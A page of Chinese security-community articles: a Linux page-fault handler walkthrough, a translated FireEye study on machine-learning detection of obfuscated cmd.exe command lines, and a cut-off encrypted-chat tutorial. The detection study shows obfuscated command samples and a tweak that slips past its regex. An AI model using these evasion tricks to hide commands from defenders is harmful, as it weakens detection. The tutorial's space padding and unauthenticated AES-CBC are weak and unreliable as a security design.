// 2. 所以, 只有当获得mmap_sem锁失败后, 才能尝试使用1.
if (unlikely(!down_read_trylock(&mm->mmap_sem))) {
if (!user_mode(regs) && !search_exception_tables(regs->ip)) {
bad_area_nosemaphore(regs, hw_error_code, address);
return;
}
retry:
down_read(&mm->mmap_sem);
} else {
// 如果获得mmap_sem锁成功则会错过down_read内的might_sleep, 这里补一个might_sleep
might_sleep();
}
// 判断vma是否合法
vma = find_vma(mm, address);
if (unlikely(!vma)) {
bad_area(regs, hw_error_code, address);
return;
}
// 做简单的安全检测
if (likely(vma->vm_start <= address))
goto good_area;
// 判断vma是否向下增加
if (unlikely(!(vma->vm_flags & VM_GROWSDOWN))) {
bad_area(regs, hw_error_code, address);
return;
}
// 如果address在栈空间, 则根据address和vma->start的关系决定是否扩充栈
// 如果address < vma->start, 则另vma->start=address向下扩充stack
if (unlikely(expand_stack(vma, address))) {
bad_area(regs, hw_error_code, address);
return;
}
good_area:
// 判断是否因为页操作与vma权限不符(保留X86_PF_PK错误, 因为这是留给写时复制的, 并非权限错误)
if (unlikely(access_error(hw_error_code, vma))) {
bad_area_access_error(regs, hw_error_code, address, vma);
return;
}
// 缺页处理
fault = handle_mm_fault(vma, address, flags);
...
#### handle_mm_fault
static vm_fault_t __handle_mm_fault(struct vm_area_struct *vma,
unsigned long address, unsigned int flags)
{
struct vm_fault vmf = {
.vma = vma,
.address = address & PAGE_MASK,
.flags = flags,
.pgoff = linear_page_index(vma, address),
.gfp_mask = __get_fault_gfp_mask(vma),
};
unsigned int dirty = flags & FAULT_FLAG_WRITE;
// 以vma->vm_mm为根结点遍历页表, 定位到pmd
struct mm_struct *mm = vma->vm_mm;
pgd_t *pgd;
p4d_t *p4d;
vm_fault_t ret;
// 定位pgd
pgd = pgd_offset(mm, address);
// 如果没开5级页表直接返回pgd
p4d = p4d_alloc(mm, pgd, address);
if (!p4d)
return VM_FAULT_OOM;
// 定位pud
vmf.pud = pud_alloc(mm, p4d, address);
if (!vmf.pud)
return VM_FAULT_OOM;
// 中间表项为空, 且开启huge_page, 设置
// 如果pud为空, 且vma可以创建透明的huge_page, 则create_huge_pud触发huge_page错误(匿名页不支持)
if (pud_none(*vmf.pud) && __transparent_hugepage_enabled(vma)) {
ret = create_huge_pud(&vmf);
if (!(ret & VM_FAULT_FALLBACK))
return ret;
} else {
pud_t orig_pud = *vmf.pud;
barrier();
// pud具有_PAGE_PSE标志位, 且pud为devmap
if (pud_trans_huge(orig_pud) || pud_devmap(orig_pud)) {
// pud将要被更新为脏页
if (dirty && !pud_write(orig_pud)) {
// 触发huge_page错误(匿名页不支持)
ret = wp_huge_pud(&vmf, orig_pud);
if (!(ret & VM_FAULT_FALLBACK))
return ret;
} else {
huge_pud_set_accessed(&vmf, orig_pud);
return 0;
}
}
}
vmf.pmd = pmd_alloc(mm, vmf.pud, address);
if (!vmf.pmd)
return VM_FAULT_OOM;
// 如果pmd为空, 且vma可以创建透明的huge_page, 则create_huge_pmd创建大页
if (pmd_none(*vmf.pmd) && __transparent_hugepage_enabled(vma)) {
ret = create_huge_pmd(&vmf);
if (!(ret & VM_FAULT_FALLBACK))
return ret;
} else {
pmd_t orig_pmd = *vmf.pmd;
barrier();
// 判断pmd是否在swap分区(不在内存中)
if (unlikely(is_swap_pmd(orig_pmd))) {
// 如果支持迁移但并非迁移pmd入口, 则上报bug
VM_BUG_ON(thp_migration_supported() &&
!is_pmd_migration_entry(orig_pmd));
if (is_pmd_migration_entry(orig_pmd))
pmd_migration_entry_wait(mm, vmf.pmd);
return 0;
}
// pud具有_PAGE_PSE标志位, 且pud为devmap
if (pmd_trans_huge(orig_pmd) || pmd_devmap(orig_pmd)) {
if (pmd_protnone(orig_pmd) && vma_is_accessible(vma))
return do_huge_pmd_numa_page(&vmf, orig_pmd);
if (dirty && !pmd_write(orig_pmd)) {
ret = wp_huge_pmd(&vmf, orig_pmd);
if (!(ret & VM_FAULT_FALLBACK))
return ret;
} else {
huge_pmd_set_accessed(&vmf, orig_pmd);
return 0;
}
}
}
// vmf被填充, 下一步根据vmf分配物理页
return handle_pte_fault(&vmf);
}
##### handle_pte_fault
static vm_fault_t handle_pte_fault(struct vm_fault *vmf)
{
pte_t entry;
// 若pmd不存在, 则pte不存在
if (unlikely(pmd_none(*vmf->pmd))) {
vmf->pte = NULL;
} else {
// pmd_devmap_trans_unstable{return pmd_devmap(*pmd) || pmd_trans_unstable(pmd);}
// pmd_devmap检测pmd是否为_PAGE_DEVMAP, 如果是则直接返回1
//
// pmd_trans_unstable->pmd_none_or_trans_huge_or_clear_bad{...}
// 检测pmd是否为空, 或者是否可以转换为huge_page, 否则进入pmd_clear_bad
// 提前检测_PAGE_DEVMAP, 可以避免后面devmap页进入pmd_none_or_trans_huge_or_clear_bad后陷入pmd_clear_bad, 而滥用dmesg打印错误
// pmd_devmap_trans_unstable=pmd_devmap+pmd_trans_unstable 可这个命名太抽象 =.=
if (pmd_devmap_trans_unstable(vmf->pmd))
return 0;
// 此时pmd存在且不可能变成huge_pmd, 使用pte_offset_map是安全的
vmf->pte = pte_offset_map(vmf->pmd, vmf->address);
vmf->orig_pte = *vmf->pte;
barrier();
if (pte_none(vmf->orig_pte)) {
pte_unmap(vmf->pte);
vmf->pte = NULL;
}
}
// pte为空, 分配页表
if (!vmf->pte) {
if (vma_is_anonymous(vmf->vma))
// 处理匿名页
return do_anonymous_page(vmf);
else
// 处理文件映射页
return do_fault(vmf);
}
// ----------- 物理页存在 -----------
// 页表已建立, 但不存在与内存, 做页交换
if (!pte_present(vmf->orig_pte))
return do_swap_page(vmf);
if (pte_protnone(vmf->orig_pte) && vma_is_accessible(vmf->vma))
// 维持node平衡, 进行页迁移
return do_numa_page(vmf);
vmf->ptl = pte_lockptr(vmf->vma->vm_mm, vmf->pmd);
spin_lock(vmf->ptl);
entry = vmf->orig_pte;
// 锁定资源区后, 检测pte是否发生变化, 如果发生, 直接解锁资源区 return
if (unlikely(!pte_same(*vmf->pte, entry)))
goto unlock;
// 因写入而触发中断
if (vmf->flags & FAULT_FLAG_WRITE) {
if (!pte_write(entry))
// 写时复制缺页中断
return do_wp_page(vmf);
// 标记脏页
entry = pte_mkdirty(entry);
}
entry = pte_mkyoung(entry);
// 如果pte内容没有变化进入else
if (ptep_set_access_flags(vmf->vma, vmf->address, vmf->pte, entry,
vmf->flags & FAULT_FLAG_WRITE)) {
// pte内容更改, 刷新mmu
update_mmu_cache(vmf->vma, vmf->address, vmf->pte);
} else {
// 如果pte没有发生变化, 且是写中断错误, 这里可能对应写时复制, 所以更新tlb
if (vmf->flags & FAULT_FLAG_WRITE)
flush_tlb_fix_spurious_fault(vmf->vma, vmf->address);
}
unlock:
pte_unmap_unlock(vmf->pte, vmf->ptl);
return 0;
}
## ptmalloc
> ptmalloc是linux 用户态堆管理机制, 也是本文源码分析的最后一部分, 链接如下:
[ptmalloc源码解析](https://www.povcfe.site/posts/ptmalloc/)
## 杂记
* 山高路远不畏险
* 还有很多需要写的东西, 留给下一篇文章 | 社区文章 |
### 译者注
本文翻译自Fireeye <https://www.fireeye.com/blog/threat-research/2018/11/obfuscated-command-line-detection-using-machine-learning.html>
译者力求贴近文章原意，即使经过了逐句逐词地翻译校对，仍需在此做一些说明以便于读者对本文的学习与理解:
obfuscation detector "混淆检测器" 文中指识别混淆过的命令行的程序
Malicious actors 恶意的行动者，指黑客
living off the land "不落地" 指恶意软件不在磁盘存储
machine learning (ML) 机器学习
Pattern Matching 模式匹配
Neural Networks 神经网络
Convolutional Neural Network (CNN) 卷积神经网络
natural language processing 自然语言处理
Gradient Boosted Decision Tree 梯度增强的决策树
caret 即符号^
pipe symbols 管道符号 即|
discriminator 鉴别器
classifier 分类器
Gradient Boosted Tree,GBT 梯度增强树
#### 机器学习效果的常用评测指标
F1值( F1-score)综合指标
准确率(Precision)，简单说就是找得对
召回率(Recall)，简单说就是找得全
### 前言
这篇博客文章介绍了一种机器学习（ML）方法，用于解决新出现的安全问题：在终端上检测混淆的Windows命令行调用。
我们首先介绍这种相对较新的威胁，然后讨论处理这些问题的传统办法。再说明解决此问题的机器学习方法，并指出ML如何极大地简化了强大的混淆检测器的开发和维护。最后，我们展示了使用2种不同的ML技术获得的结果，并比较了每种技术的优点。
### 介绍
恶意的行动者逐渐变得“不落地”，使用PowerShell和Windows Command
Processor(cmd.exe)等系统内置的实用程序作为其感染工作流程的一部分，以尽量减少恶意软件被检测的机会，并绕过白名单防御策略。
新发布的混淆工具通过添加一个中接层(在可见的语法和命令的最终的行为之间)，使得检测这类威胁变得更加困难。例如最近发布的两个混淆命令的工具：
Invoke-Obfuscation 自动混淆Powershell命令
Invoke-DOSfuscation 混淆Windows的cmd.exe命令行
(用于检测混淆的)传统的"模式匹配"和"基于规则的方法"难以开发和归纳，并且可能对防御者造成巨大的维护问题。我们将展示如何使用ML技术来解决这个问题。
"检测混淆过的命令行"是一种非常有用的技术，因为它为可能的恶意活动提供了强大的过滤器，减少了防御者必须查看的数据。虽然在野外有一些“合法”混淆的例子，但在绝大多数情况下，混淆的存在通常是一种恶意意图的信号。
### 背景
混淆技术被用来隐藏恶意软件的存在，已经有很长的历史了：包括恶意有效载荷的加密（从Cascade病毒开始）和字符串的混淆，到JavaScript混淆。
混淆的目的有两个：
* 使防御类的软件越来越难找到：易于检测它们(可执行代码、字符串或脚本)的模式。
* 使逆向工程师和分析师更难以破译并完全理解恶意软件正在做什么。
从这个意义上讲，命令行混淆不是一个新问题 - 只是混淆的目标(Windows命令处理器 cmd.exe)相对较新。最近发布的等工具如Invoke-Obfuscation（用于PowerShell）和Invoke-DOSfuscation（用于cmd.exe）已经证明了这些命令的灵活性，并且经过混淆的非常复杂的命令仍然可以有效运行。
如图所示，混淆过的命令行 与 非混淆的命令行，空间图中有两个轴：
* 简单的(simple) -> 复杂的(complex)
* 明文的(clear) -> 混淆的(obfuscated)
对于本次讨论中：
* "简单的"("simple")表示简短且相对不太复杂，但仍然可以包含混淆；
* "复杂的"("complex")表示长而复杂的字符串(可能会混淆，也可能不被混淆)
因此，简单/复杂 轴 与 混淆/未混淆 轴
正交。这两个轴的相互作用产生许多边界情况，其中用于检测脚本是否被混淆的简单启发式方法（例如，命令的长度）会在未经混淆处理的样本上产生误报。
从ML的角度来看，命令行处理器(command line processor)的灵活性使"分类"成为一项困难的任务。
> 图1:混淆的维度
>
>
-
> 图2:弱混淆和强混淆
>
>
### 传统的混淆检测办法
传统的混淆检测办法可以分为三种。
#### 第一种方法
编写大量复杂的正则表达式以匹配Windows命令行中最常被滥用的语法。
例1
如这个正则表达式，试图匹配在混淆中常见的"使用call命令的&符号链"这一混淆模式。
`(set [a-zA-Z0-9]+=.* &&)+ (call set [a-zA-Z0-9]+=%[a-zA-Z0-9%]+%).* call
%.*%`
它能够匹配到这个样本（以混淆的方式调用`echo`）
`set env1=ec && set env2=ho && call set env3=%env1% %env2% && call %env3%`
译者专门测试了这个正则表达式的匹配 如图，可以匹配到这个样本。
可点击查看匹配效果 <https://regex101.com/r/PvGq1u/1>
这种方法存在两个问题：
* 不可能开发非常多的正则表达式来涵盖每一种命令行可能的滥用方式，而且命令行的灵活性可以导致非常规的语句，用正则表达式表示这些语句是能做但不切实际的。
* 即使恶意样本使用的混淆技术存在对应的正则表达式能够匹配到，一个决心强的攻击者也能够对混淆后的命令继续进行一些微小修改，不被之前的正则表达式匹配到。图5显示了对图4中序列的一个小修改，它避免了正则表达式检测。
对例1中的样本进行一些小调整变为如下语句，即可不被例1中的正则表达式匹配到。
`set env1 =ec && set env2=ho ^&^& call set env3=:%env1% %env2% && call %env3%`
译者专门比较了具体的修改点 如图
#### 第二种方法
第二种方法更接近ML方法，涉及编写一些复杂的if-then规则，但是这些规则难以推导，验证起来复杂，并且随着作者本人逐渐开发出绕过这些规则的一些语句，给这种办法造成了沉重的维护负担。
例2 一个if-then规则
**可能** 指出混淆（注意这个规则宽松 可能出现误报）
`If COUNT("set") >= 2 and COUNT("%") >= 4 and COUNT("&") >=4 and
COUNT("call")>= 2 then obfuscated`
#### 第三种方法
第三种方法是组合正则表达式和if-then规则。
这使开发和维护的负担极大地增加，并且仍然存在前两种方法的缺点。
例3 一个带有正则表达式的if-then规则(if-then规则与正则表达式的组合)，用于检测混淆
`If length()>= 20 and COUNT(“&")> 8 and MATCHES_REGEXP("(set [a-zA-Z0-9]+=.*
&&)+ (call set [a-zA-Z0-9]+=%[a-zA-Z0-9%]+%).* call %. *%") then obfuscated`
显然，很容易意识到生成、测试、维护并确保这些规则的效果是多么麻烦。
真正的手工构建的混淆检测器，将由数十或数百个规则组成，并且在检测中仍然存在gaps(漏洞、缺口)。
### 机器学习方法 - 超越模式匹配和规则
使用ML简化了这些问题的解决方案。
本文举例说明两种ML方法：
* 1.基于特征的方法(a feature-based approach)
* 2.无特征的端到端方法(a feature-less end-to-end approach)
有一些ML技术可以处理任何类型的原始数据（只要数据是数字类型的数据就行），神经网络就是一个很好的例子。大多数其他ML算法要求建模者在将原始数据输入算法之前从原始数据中提取有关信息（称为特征）。后一种类型的一些示例是基于树的算法，如本博客发过的这篇文章：[Building
Machine Learning Models for the SOC | FireEye
Inc](https://www.fireeye.com/blog/threat-research/2018/06/build-machine-learning-models-for-the-soc.html)，其中我们使用了Gradient-Boosted树型模型，描述了基于树的算法的结构和用途。
### ML基础 - 神经网络
神经网络是一种ML算法，最近变得非常流行。它由一系列称为神经元(neurons)的元素组成。神经元本质上是一个元素，它接受一组输入，计算这些输入的加权和(weighted
sum)，然后将总和输入非线性函数。已经表明，相对浅的(微弱的)神经元网络可以近似输入和输出之间的任何连续映射。
我们用于当前这项研究的特定类型的神经网络是所谓的卷积神经网络（CNN），它主要是为计算机视觉应用开发的，但也在包括自然语言处理在内的其他领域取得了成功。神经网络的主要优点之一是它可以在不必手动设计特征的情况下进行训练。
### 无特征的ML
神经网络可以与特征数据一起使用，这种方法的一个吸引人的地方是它可以处理原始数据（转换为数字形式）而无需进行任何特征设计或提取。
模型的第一步是将文本数据转换为数字形式。我们使用了基于字符的编码，其中每个字符类型都由实际数值编码。该值在训练过程中自动获得，并在字符应用于cmd.exe时，传送有关字符之间的关系的语义信息。
### 基于特征的ML
我们还尝试了手工设计的特征和梯度增强的决策树算法。
为这个模型开发的特征基本上是统计性质的——源于字符集和关键字的出现和频率。
例如，存在数十个`％`字符或长而连续的字符串可能有助于检测潜在的混淆。虽然任何单特征都不能完美地分离这两个类，但是基于树的模型中存在的"多个特征的组合"能够学习数据中的灵活模式(flexible
patterns)。预期这些模式是足够健壮的，并且可以通用到、普及到未来的混淆变体。
### 数据和实验
为了开发我们的模型，我们从数万个终端的事件中收集了非混淆的数据，并使用工具Invoke-DOSfuscation中的各种方法生成了混淆过的数据。我们使用大约80％的数据作为训练数据开发出了我们的模型，并用剩余的20％数据来测试了这些模型。我们保证我们的训练和测试是分割明确的。
对于无特征的ML（即神经网络），我们只需将Unicode码位输入到CNN模型的第一层，第一层将码位转换为语义上有意义的数字表示(这个叫做embeddings)，然后将其提供给神经网络的其余部分。
对于渐变增强树方法，我们从原始命令行生成了许多特性。以下是其中一些:
对于梯度增强树(Gradient Boosted Tree)方法，我们从原始命令行中生成了许多特性。如这些：
* 命令行的长度
* 命令行中的插入`^`符号的数量
* 管道符号`|`的数量
* 命令行中的空白符号的分数
* 特殊字符的分数
* 字符串的熵
* 命令行中字符串`cmd`和`power`的频率
虽然每一个单独的特征都是一个弱信号，并且每个自身都不可能是一个很好的鉴别器，但是一个灵活的分类器，如梯度增强树(Gradient Boosted
Tree)使用这些特征对足够的数据进行训练，能够对混淆过的和非混淆的命令行进行分类，尽管有上述的一些困难。
### 结果
根据我们的测试集进行评估，我们能够从 梯度增强树(Gradient Boosted Tree) 和 神经网络模型 得到几乎相同的结果。
GBT模型，F1值( F1-score)、准确率(Precision)和召回率(Recall)等指标均接近1.0。GBT模型接近完美。
CNN模型，准确性略低。
虽然我们当然不指望能在现实世界中获得完美的结果，但这些实验室结果仍然是令人鼓舞的。回想一下，我们所有混淆的示例都是由一个源生成的，即Invoke-DOSfuscation工具。虽然Invoke-DOSfuscation生成各种混淆样本，但在现实世界中，我们期望至少看到一些与Invoke-DOSfuscation生成的样本非常不同的样本。我们目前正在收集真实世界混淆过的命令行，以便更准确地了解此模型对来自实际恶意参与者的混淆样本的通用性。我们预计cmd命令混淆，类似于之前的PowerShell混淆，将继续出现在新的恶意软件家族中。
作为一个额外的测试，我们请Daniel Bohannon(Invoke-DOSfuscation这一Windows命令行混淆工具的作者)提供一些混淆的样本，根据他的经验，这些样本很难被传统的混淆检测器识别。
实测每种情况，我们的ML探测器仍然都能够检测到混淆。一些样本如下：
cmd.exe /v/r "set 9S=e3zo Hi Vi3tor and Vikray!&set Zq=!9S:3=c!&setZYk9=!Zq:y=m!&set rQ2=!ZYk9:z=h!&&cmd /r %rQ2%
cmd /r "set a=tat -ano&set b=nets&cmd /r %b% %a%
cmd /v /r "set a=ona- tatsten&for/L %b in(11 -1 0) do setc=!c!!a:~%b,1!&if %b equ 0 call %c:~3%
* * *
我们还创建了看起来非常难理解的"文本"（这些文本是有效的Windows命令行），并且没有混淆，但是对于人类直观看到它们会感觉有点混淆。这样做是为了通过边界样本来测试一下检测器的有效性。在这种情况下，检测器也能够正确地将文本分类为非混淆文本。
这样的样本如下：
第一眼看上去好像是被混淆的样本，但实际上并没有混淆。而且很可能欺骗非ML的解决方案(但是ML混淆检测器目前能够将其标识为非混淆)
例4
cmd.exe /c 'C:\windows\system3213636363bsdshshshshsGF@#&()____.737.473783873.bat
* * *
最后，是一个复杂但没有混淆过的命令行，它被我们的ML混淆检测器正确分类，但可能会根据统计特征欺骗非ML的检测器（例如用手工的权衡方案和一个阈值的基于规则的检测器，"使用特殊字符的比例"、"命令行的长度"或"命令行的熵"等特征。
例5 使用简单统计特征的ML检测器可能错误分类的样本（但是，我们的ML混淆检测器目前将其识别为非混淆）
cmd /c echo nbt local > C:\windows\temp\nessus_L571HG8Q.txt & nbtstat-n>> C:\windows\tempnessus_L571HG8Q.txt & echo nbt_cache >> C:windows\temp\nessus_L571HG8Q.txt & nbtstat C >> C:\windows\temp\nessus_L57 1HG8Q.txt & echonbt_session_ip > C:\windows\temp\nessus_L571HG8Q.txt & nbtstat -S >> C:\windows\temp\nessus_L571HG8Q.txt & echo nbt_session_name >> C:windows\temp\nessus_L571HG8Q.txt & nbtstat -S >> C:\windows\temp\nessus_L571HG8Q.txt
结果如下：
GBT分类器自信地预测了"非混淆"，得分为19.7%
[INFO] FeatureExtractor extraction complete.
{'prediction': 'non-obf, 'score': 19.73551018580834, 'reasons': []}
### CNN与GBT的结果对比
我们比较了使用精心选择的特征构建的高度调优的GBT分类器 和 使用原始数据(无特征ML)训练的CNN分类器的结果。
虽然CNN的结构没有进行大量调整，但有趣的是，例4所示的样本，GBT分类器自信地预测了"非混淆"，得分为19.7%(这是对分类器的结果"非混淆"的信心度量的补充)。同时，CNN分类器预测"非混淆"的置信概率为50%——正好在混淆和非混淆的边界处。CNN模型的误分类次数也多于梯度增强树(GBT)模型。这两种情况都很可能是CNN调优不足的结果，而不是无特征方法的根本缺陷。
### 总结
在这篇博文中，我们描述了一种ML方法来检测混淆过的Windows命令行，它可以作为一个信号来帮助识别恶意的命令行。通过使用ML技术，我们演示了一种非常精确的机制来检测此类命令行，而不需要借助于维护复杂if-then规则和正则表达式的技术（这种技术通常是不充分的，而且成本很高）。更全面的ML方法足够灵活，可以捕捉混淆中的新变化，当检测到gaps(漏洞、缺口)时，通常可以这样处理：通过向训练集添加一些精心选择的evader样本并重新训练模型。
这次ML技术的成功ML的成功应用再次证明了ML在替代"复杂的手工或编程方法"解决计算机安全问题方面的有效性。
在未来几年，我们预计ML将在网络安全公司中扮演越来越重要的角色。 | 社区文章 |
# 如何一步步构建加密聊天应用
##### 译文声明
本文是翻译文章，文章原作者 spec，文章来源：0x00sec.org
原文地址：<https://0x00sec.org/t/encrypted-chat-part-i/5839>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
前一阵子我正在编写一个加密聊天客户端以及服务器，想通过开发过程了解关于加密方法的更多知识，也了解如何在网络协议中实现加密协议（如基于[TLS](https://en.wikipedia.org/wiki/Transport_Layer_Security)的[SSH](https://en.wikipedia.org/wiki/Secure_Shell)或者[HTTPs](https://en.wikipedia.org/wiki/HTTPS)协议）。现在这个工作已基本完成，我想与大家一起分享下我学到的一些经验及知识。
本文可以分为两部分，第一部分介绍了一些相关的基本概念，第二部分会深入分析代码，将这些概念与具体程序结合起来（@oaktree也建议我采用这种组织结构）。
话不多说，开始步入正题。
## 二、基本概念
> 我们的目标是创建一个共享密钥，以便加密及解密客户端和服务器交互的消息。
为了创建聊天室，客户端必须能够以某种安全的方式将消息发送给服务器，反之亦然。[对称加密（symmetric
encryption）](https://en.wikipedia.org/wiki/Symmetric-key_algorithm)机制采用了相同的密钥来加密及解密消息，我们可以考虑采用这种方式来实现。然而如果采用这种方式，那么通信双方必须就通过某种方式来获取相同的密钥。
_请注意：加密密钥实际上是非常大的数字_ 。
那么我们怎么样才能让两台计算机使用相同的大数呢？我们不能直接发送这个数字，这样做会在第一步就破坏掉整个加密体系，因为这样窃听者就可以窃取密钥，解开加密信息。相反，我们会使用[Diffie-Hellman密钥交换](https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange)算法来完成这个任务。
### 第一步：DH密钥交换算法
_这种方法是创建共享密钥的绝佳方法_ 。
Diffie-Hellman（简称为DH）算法可以让两个实体在若干次交互后获得相同的数字，并且该过程没有直接公开这个数字。许多DH实现方法会在有限循环中让整数对`p`取模（`p`是一个素数），然而我们也可以选择使用其他方式（比如椭圆曲线算法，大家在浏览加密网页时也用到了这种技术）。
我们可以抛开复杂的数学概念，直观地来理解这个密钥交换过程背后的原理，并且我们也不需要掌握太高超的数学知识就能理解这个过程。维基百科上有一张示意图可以描述这个过程：
在上图中，“common
paint”包含一个非常大的素数`p`（至少为2048位）以及小素数`g`，这两个数都可以公开，不会对我们的安全性造成影响。“secret
colors”是每个成员自己生成的随机数，不能对外公布。这种方法之所以能实现密钥共享，原因在于如下等式成立：
(g^a % p)^b % p = (g^b % p)^a % p
其中，`a`以及`b`为“secret
colors”，`%`为取模操作（即除法运算后取余数）。大家可能会问，为什么这两个表达式会相等？这是个数学问题，以我的水平可能很难解释清楚。我想这就相当于在问为什么`2
+ 2 =
4`，不同的是看起来没有那么直白，但事实的确如此。如果有人能简单明了地解释这个等式，欢迎发表高见，让我能更好地理解。我还没有专门学习过相关理论，希望有人能帮忙解释一下。
如果这里你还没有完全理解，没关系，后面我们会在代码中再详细解释一下。现在重要的是我们可以通过这种方法获得相同的数字：一旦完成这个任务，我们就可以继续执行下一个任务。
### 第二步：AES加密
[AES](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard)的全称为Advanced
Encryption
Standard（高级加密标准），由于加密速度较快、安全性较高，AES现在已经成为广泛使用的一种对称加密算法。除非使用该算法的系统本身正在泄露数据，否则想攻破这种算法，只能采用暴力破解法。我们会以[Cipher
Block
Chaining](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_Block_Chaining_\(CBC))（加密块链，CBC）模式来使用AES-256算法，这种模式需要使用256位的密钥（因此我们需要通过SHA-256算法将共享大数的长度标准化为256位），加密序列中的每个加密块都需要依赖前一个加密块才能进行加解密。
在这种模式下，我们必须使用一个[初始化向量（initialization
vector，IV）](https://en.wikipedia.org/wiki/Initialization_vector)来作为加密链中的初始块，以便处理后面的每个数据块。
>
> 在CBC模式下，每个明文块会先使用前一个密文块进行异或（XOR）处理，然后再加密。这样一来，每个加密块都需要依赖之前所有的加密块，直到追溯到第一个加密块为止。
>
> 这也是IV的作用所在，因为如果我们还没有开始加密，我们就没办法找到起点之前的一个块来异或处理。
（感谢@pry0cc提供如上解释）
与加密密钥不同的是，这个值可以对外公开。这种方法基本上可以让针对密钥的逆向分析无功而返，因为即便使用相同的密钥对“hello”进行两次加密，如果IV值不同，那么我们会得到完全不同的加密结果。但我们必须小心谨慎，重复使用相同的IV会降低通信的安全性。大家可以参考[WEP](https://en.wikipedia.org/wiki/Wired_Equivalent_Privacy)中的安全缺陷了解更多细节。
此外，我们还需要加入一些额外的字符（即“填充”数据），使待加密数据的大小为AES块大小的整数倍。如果在消息尾部添加空格符，对端处理起来也比较方便，因此我们可以采用这种填充策略。这样一来，第一个块为IV，后面的块为我们提供的消息（包含填充数据）。
基本概念就这么多。现在我们可以在服务器和客户端之间来回发送加密数据。客户端可以将加密的聊天消息提交给服务器，服务器会解密消息，使用其他客户端的密钥重新加密消息然后再广播消息。如果网络中有人在窃听，那么他所收到的每个消息看起来完全不同，没办法破译其中内容。
## 三、代码实现
现在我们来看一下客户端以及服务端的具体代码。
整个工程所包含的文件如下：
文件 | 描述 | 类别
---|---|---
client.py | 客户端 | 网络
server.py | 服务器 | 网络、控制
dhke.py | DH密钥交换 | 加密
cipher.py | AES加密及解密 | 加密
cli.py | 命令行接口 | 接口
客户端以及服务端包含许多相同代码，其中大部分为消息的加密以及解密代码。然而，由于服务端负责整个流程中的大部分工作，因此我们先从服务端开始。
这里我只会介绍一些重要内容，略过一些无关紧要的代码（使用…来替代），大家可以访问[Github](https://github.com/spec-sec/SecureChat)获取完整代码。
**[server.py](https://github.com/spec-sec/SecureChat/blob/master/server.py)**
# Inside Server Class
def __init__(self, host='127.0.0.1', port=DEFAULT_PORT):
...
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.dh_params = M2DH.gen_params(DH_SIZE, 2)
...
首先我们需要创建一个新的socket以便服务器进行通信。
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
这里`socket.AF_INET`表明我们使用的是[IPv4地址](https://en.wikipedia.org/wiki/IPv4#Addressing)（如`0x00sec.org`、`74.125.136.94`），`socket.SOCK_STREAM`表明使用的是[TCP](https://en.wikipedia.org/wiki/Transmission_Control_Protocol)协议。
接下来，我们使用`m2crypto`库的`DH`模块生成DH密钥交换算法所需的参数。
self.dh_params = M2DH.gen_params(DH_SIZE, 2)
请记住，这里我们需要创建两个对外公开的值：素数`p`以及素数`q`。当我们指定所需素数的大小（以bit为单位，至少为2048位）以及所需的生成器后，这个函数就会返回包含`p`以及`g`的一个类。该函数使用[OpennSSL](https://www.openssl.org/)来完成这个任务，OpenSSL是“专为TLS（传输层安全）协议以及SSL（安全套接层）协议设计的功能强大的商业级工具包”，许多程序都用到了这个库，比如[OpenVPN](https://openvpn.net/)。
现在服务器可以监听新客户端的连接请求，然后尝试进行DH密钥交换，监听客户端发来的加密数据。
while True:
connection, address = self.socket.accept()
client = Client(self, connection, address)
...
self.clients.append(client)
...
threading.Thread(target=self.listen, args=(client, )).start()
我们使用同一个套接字来接受（accept）下一个连入请求（该函数为阻塞型函数），将新的连接初始化为新的客户端。Client类的初始化函数如下所示：
# Inside Client Class (this is the client object the server uses)
def __init__(self, server, connection, address):
...
self.key = self.dh(server.dh_params)
Client类接受3个参数：server（该客户端所属的服务器）、connection（socket连接）以及address（地址信息，格式为`(ip_address,
port)`），然后调用`dh()`函数来生成共享密钥。
# Inside Client Class
def dh(self, dh_params):
"""
Perform Diffie-Hellman Key Exchange with a client.
:param dh_params: p and g generated by DH
:return shared_key: shared encryption key for AES
"""
# p: shared prime
p = DH.b2i(dh_params.p)
# g: primitive root modulo
g = DH.b2i(dh_params.g)
# a: randomized private key
a = DH.gen_private_key()
# Generate public key from p, g, and a
public_key = DH.gen_public_key(g, a, p)
# Create a DH message to send to client as bytes
dh_message = bytes(DH(p, g, public_key))
self.connection.sendall(dh_message)
# Receive public key from client as bytes
...
client_key = DH.b2i(response)
# Calculate shared key with newly received client key
shared_key = DH.get_shared_key(client_key, a, p)
return shared_key
首先，该方法会使用`DH.b2i`函数将字节转换为整数（`b2i`函数位于`dhke.py`中），生成参数`p`以及`g`，然后再生成一个随机的私钥`a`（同样是一个整数）。服务器的公钥采用这几个参数生成，公式为`g^a
% p`，所使用的函数为`DH.gen_public_key()`，该函数的定义如下：
def gen_public_key(g, private, p):
# g^private % p
return pow(g, private, p)
现在，服务器可以使用`p`、`g`以及`public_key`来构造一则公开消息，发送给客户端。
_注意：客户端需要这3个参数才能生成自己的公钥_ 。
接下来这行代码可以生成一个新的`DH`对象，并将其转换为字节：
dh_message = bytes(DH(p, g, public_key))
我们可以查看`DH`类的`__bytes__` 方法，了解如何将这3个变量编码为字节：
def __bytes__(self):
"""
Convert DH message to bytes.
:return: packaged DH message as bytes
+-------+-----------+------------+
| Prime | Generator | Public Key |
| 1024 | 16 | 1024 |
+-------+-----------+------------+
"""
prm = self.package(self.p, LEN_PRIME)
gen = self.package(self.g, LEN_GEN)
pbk = self.package(self.pk, LEN_PK)
return prm + gen + pbk
由于我们需要规定标准的消息格式，以便客户端对消息进行解封装处理，因此我们约定前1024个字节为`p`，后面的16个字节为`g`，最后的1024个字节为`public
key`。`package`方法可以将整数变量转化为字节并添加填充数据，直到长度满足要求为止。
def package(i, length):
"""
Package an integer as a bytes object of length "length".
:param i: integer to be package
:param length: desired length of the bytes object
:return: bytes representation of the integer
"""
# Convert i to hex and remove '0x' from the left
i_hex = hex(i)[2:]
# Make the length of i_hex a multiple of 2
if len(i_hex) % 2 != 0:
i_hex = '0' + i_hex
# Convert hex string into bytes
i_bytes = binascii.unhexlify(i_hex)
# Check to make sure bytes to not exceed the max length
len_i = len(i_bytes)
if len_i > length:
raise InvalidDH("Length Exceeds Maximum of {}".format(length))
# Generate padding for the remaining space on the left
i_padding = bytes(length - len_i)
return i_padding + i_bytes
消息封装完毕后，我们将其发给客户端，等待客户端返回公钥数据：
self.connection.sendall(dh_message)
try:
